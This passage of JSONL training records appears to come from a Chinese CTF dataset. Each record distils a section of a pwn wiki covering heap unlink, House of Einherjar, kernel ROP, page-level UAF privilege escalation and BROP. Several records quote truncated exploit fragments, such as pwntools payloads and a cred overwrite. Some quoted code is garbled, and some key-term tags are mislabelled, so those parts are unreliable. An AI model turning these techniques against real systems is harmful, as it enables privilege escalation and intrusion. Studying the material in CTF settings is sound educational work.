"source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "b0a927f2b30a46a772535e32", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a3b97ed0c29f45da0b4a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「after unlink, ptr[0] = ptr - 0x18」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：after unlink, ptr[0] = ptr - 0x18\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“after unlink, ptr[0] = ptr - 0x18”展开。\n- deletenote(2) `` 首先释放 chunk1，由于该chunk属于fastbin，所以下次在申请的时候仍然会申请到该chunk，同时由于上面所说的类型问题，我们可以读取任意字符，所以就可以覆盖chunk2，覆盖之后如图2所示。\n- 即将要执行的操作为unlink(ptr[0])，同时我们所构造的fakebk和fakefd满足如下约束 `c if (__builtin_expect (FD->bk !\n- = P, 0)) \\ `` unlink成功执行，会导致ptr[0]所存储的地址变为fakebk，即ptr-0x18。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `首先释放 chunk1，由于该chunk属于fastbin，所以下次在申请的时候仍然会申请到该chunk，同时由于上面所说的类型问题，我们可以读取任意字符，所以就可以覆盖chunk2，覆盖之后如图2所示。`\n- plain: 1 行，首行 `该覆盖主要是为了释放chunk2的时候可以后向合并（合并低地址），对chunk0中虚拟构造的chunk进行unlink。即将要执行的操作为unlink(ptr[0])，同时我们所构造的fakebk和fakefd满足如下约束`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1117, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "after unlink, ptr[0] = ptr - 0x18", "heading_path": ["after unlink, ptr[0] = ptr - 0x18"], "original_id": "docs-6b9a500ecf04e6b61603", "original_line": 1086, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "f1ae77019d7283ccd1550626", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a437e1ffd3f94d834fe7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「状态保存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`\n标题：Kernel ROP\n章节：Kernel ROP > 状态保存\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“状态保存”展开。\n- 通常情况下，我们的exploit需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个root权限的shell，因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上，以便于后续着陆回用户态。\n- 通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链： > 算是一个通用的pwn板子。\n- > > 方便起见，使用了内联汇编，由于编写风格是 Intel 汇编，编译时需要指定参数：``-masm=intel`。\n- `c size_t user_cs, user_ss, user_rflags, user_sp;\n- void save_status(void) { asm volatile ( \"mov user_cs, cs;\n\n关键术语：\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 12 行，首行 `size_t user_cs, user_ss, user_rflags, user_sp;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 524, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "状态保存", "heading_path": ["Kernel ROP", "状态保存"], "original_id": "docs-9a50e1d841599b3540cd", "original_line": 821, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "source_root": "docs", "source_sha256": "b49cebaeaf1ddbdb3527283984ff491cc498b07c0e1c53b1e899390e04a78749", "split": "train", "split_group_key": "9883360fe8d455558307a6be", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Kernel ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a472f585308819c8ce07", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「entry point」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：entry point\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“entry point”展开。\n- $(MODULE_NAME)-y ：$(MODULE_NAME).o所需要的目标文件，-y 意味着编译过程需要该文件，这里我们加入了一个 main.o ，意味着我们的源码目录下应当有一个 main.c。\n- $(MODULE_NAME)-y += main.o `` 各符号说明如下： - MODULE_NAME ：一个简单的自定义变量，我们用来定义我们的模块名。\n- 相应地，由于我们已经在 Kbuild 当中指示了模块的构建行为，我们只需要在源码根目录的 Makefile 当中写入通用性内容，这里我们的 Makefile 写入如下： ``makefile\n- ccflags-y ：ccflags 意味着编译选项，-y 意味着开启的编译选项，这里我们添加了 -I 选项以引入我们自己的头文件目录（只是作为示范，本节实际上不涉及复杂代码结构），更多编译选项可以参见 GCC 的文档。\n- obj-m ：这个符号用来指定要被编译的内核模块列表，+= 意味着添加上我们的内核模块，而 $(MODULE_NAME).o 则是我们的内核模块编译的后期产物，这通常由单个或多个目标文件合并而成，最后会被链接为 $(MODULE_NAME).ko 文件，也就是我们所熟悉的 LKM ELF；\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n\n代码/命令片段线索：\n- plain: 6 行，首行 `各符号说明如下：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 675, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "entry point", "heading_path": ["entry point"], "original_id": "docs-26d958ec296b6d061ef0", "original_line": 694, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "bbdb247107b829fb49202942", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "environment"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a48fe815b2ed3e09c419", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「攻击过程示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 原理 > 攻击过程示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击过程示例”展开。\n- 可以进行 House Of Einherjar 攻击的代码： ``c #include  #include  #include  int main(void){ char s0 = malloc(0x200);\n- } ` 攻击代码如下： `python from pwn import p = process(\"./example\") context.log_level = 'debug' #gdb.attach(p) p.recvuntil(\"begin\\n\") address = int(p.recvline().strip(), 16) p.recvuntil(\"input s0\\n\") payload = p64(0) + p64(0x101) + p64(address) 2 + \"A\"0xe0 ''' p64...\n- `` 所以只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就好了。\n- = P, 0)) \\ malloc_printerr (\"corrupted double-linked list\");\n- 这是因为对 size 和 prev_size 的验证只发生在 unlink 里面，而 unlink 里面是这样验证的: `c if (__builtin_expect (chunksize(P) !\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:python\n\n代码/命令片段线索：\n- c: 17 行，首行 `#include `\n- python: 20 行，首行 `from pwn import *`\n- c: 2 行，首行 `p->fd = &p-3*4`\n- c: 2 行，首行 `p->fd = p`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1647, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "攻击过程示例", "heading_path": ["House Of Einherjar", "原理", "攻击过程示例"], "original_id": "docs-3941940b5507a2b326a7", "original_line": 972, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "631988180ef601702cc7a880", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:python"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a4a7be7ff710dfd572e0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「方法一、修改当前进程的 task\\_struct 的 cred 为 init\\_cred」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.IV - 提权 > 方法一、修改当前进程的 task\\_struct 的 cred 为 init\\_cred\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“方法一、修改当前进程的 task\\_struct 的 cred 为 init\\_cred”展开。\n- init_cred 为有着 root 权限的 cred，我们可以直接将当前进程的 cred 修改为该 cred 以完成提权，这里iwom可以通过 prctl(PR_SET_NAME, \"arttnba3pwnn\");\n- 此外，我们也可以选择直接修改当前进程的 task_struct::cred 的几个 uid 字段，这里便不再赘述。\n- 修改 task_struct.comm ，从而方便搜索当前进程的 task_struct 在内存空间中的位置。\n- 不过 init_cred 的符号有的时候是不在 /proc/kallsyms 中导出的，我们在调试时未必能够获得其地址，因此这里笔者选择通过解析 task_struct 的方式向上一直找到 init 进程（所有进程的父进程）的 task_struct ，从而获得 init_cred 的地址。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 393, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "方法一、修改当前进程的 task\\_struct 的 cred 为 init\\_cred", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Step.IV - 提权", "方法一、修改当前进程的 task\\_struct 的 cred 为 init\\_cred"], "original_id": "docs-2a2198bba0dac357e5ca", "original_line": 747, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "eeab8625955975bf765d2218", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a4ab9473df3f0eb1ae31", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`\n标题：原理介绍\n章节：原理介绍 > 格式化字符串函数介绍 > 格式化字符串函数\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格式化字符串函数”展开。\n- | 函数 | 基本介绍 | | :---------------------: | :-----------------: | | printf | 输出到stdout | | fprintf | 输出到指定FILE流 | | vprintf | 根据参数列表格式化输出到 stdout | | vfprintf | 根据参数列表格式化输出到指定FILE流 | | sprintf | 输出到字符串 | | snprintf | 输出指定字节数到字符串 | | vsprintf | 根据参数列表格式化输出到字符串...\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 408, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "格式化字符串函数", "heading_path": ["原理介绍", "格式化字符串函数介绍", "格式化字符串函数"], "original_id": "docs-34b6ca02efa3586efb19", "original_line": 898, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "source_root": "docs", "source_sha256": "8516996b24e38500e18a7d976758f906dafa9808d78bd95a8b5220f77d0d21b8", "split": "train", "split_group_key": "44dad9abf93539f599715959", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "fmtstr"], "title": "原理介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a4caf09286b12555efe0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「确定puts@plt地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 例子 > 确定puts@plt地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定puts@plt地址”展开。\n- 根据上面，所说我们可以构造如下payload来进行获取 ``text payload = 'A'72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget) ` 具体函数如下 `python def get_puts_addr(length, rdi_ret, stop_gadget): addr = 0x400000 while 1: print hex(addr) sh = remote('127.0.0.1', 9999) sh.recvun...\n- \\n') payload = 'A' length + p64(rdi_ret) + p64(0x400000) + p64( addr) + p64(stop_gadget) sh.sendline(payload) try: content = sh.recv() if content.startswith('\\x7fELF'): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exceptio...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:text\n- code:python\n\n代码/命令片段线索：\n- text: 1 行，首行 `payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)`\n- python: 19 行，首行 `def get_puts_addr(length, rdi_ret, stop_gadget):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 617, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "确定puts@plt地址", "heading_path": ["中级ROP", "BROP", "例子", "确定puts@plt地址"], "original_id": "docs-774200aba2e55ee76ede", "original_line": 67, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "e66060e22bc4a419ccef8eef", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:text", "code:python"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a5170c2afbdad8a3ac2c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「0x02 Tcache Usage」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x02 Tcache Usage\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x02 Tcache Usage”展开。\n- 内存释放： 可以看到，在free函数的最先处理部分，首先是检查释放块是否页对齐及前后堆块的释放情况，便优先放入tcache结构中。\n- ``c _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size;\n- / misc temp for linking / size = chunksize (p);\n- / We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. / if (__glibc_unlikely (size < MINSIZE || !\n- aligned_OK (size))) malloc_printerr (\"free(): invalid size\");\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 37 行，首行 `_int_free (mstate av, mchunkptr p, int have_lock)`\n- c: 47 行，首行 `if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))`\n- c: 11 行，首行 `#if USE_TCACHE`\n- c: 7 行，首行 `#if USE_TCACHE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3490, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "0x02 Tcache Usage", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x02 Tcache Usage"], "original_id": "docs-8987b26849432800d284", "original_line": 1040, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "1c595bdf59a091cfe85ae0b5", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a5f3c3dd49f0a79363c8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「读：0x40」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析 > 读：0x40\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“读：0x40”展开。\n- if ( v2 > 0x100 ) { _warn_printk(\"Buffer overflow detected (%d < %lu)!\n- 会调用 show 函数： ``c if ( a2 == 64 ) { if ( !\n- copy_from_user(&v12, v2, 24LL) ) { show(&v12);\n- } ` 其实就是套了一层皮的读 object 内容，加了 hardened usercopy 检查： `c __int64 __fastcall show(_QWORD a1) { const void v1;\n- // [rsp-128h] [rbp-128h] BYREF _fentry__();\n\n关键术语：\n- 边界/溢出\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `if ( a2 == 64 )`\n- c: 26 行，首行 `__int64 __fastcall show(_QWORD *a1)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 823, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "读：0x40", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "_例题：西湖论剑2021线上初赛 - easykernel_", "分析", "读：0x40"], "original_id": "docs-3be51ec0e1a4c1ebf6de", "original_line": 815, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "2018c38a55937980e6a86449", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a609e75ad23abbb4a549", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「write \"/bin/sh\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：write \"/bin/sh\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“write \"/bin/sh\"”展开。\n- rop = ROP('./main_partial_relro_32') plt0 = elf.get_section_by_name('.plt').header.sh_addr got0 = elf.get_section_by_name('.got').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 206, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "write \"/bin/sh\"", "heading_path": ["write \"/bin/sh\""], "original_id": "docs-693e3631375240faa41a", "original_line": 1316, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "2877c7f38d082da4e9ab9f22", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
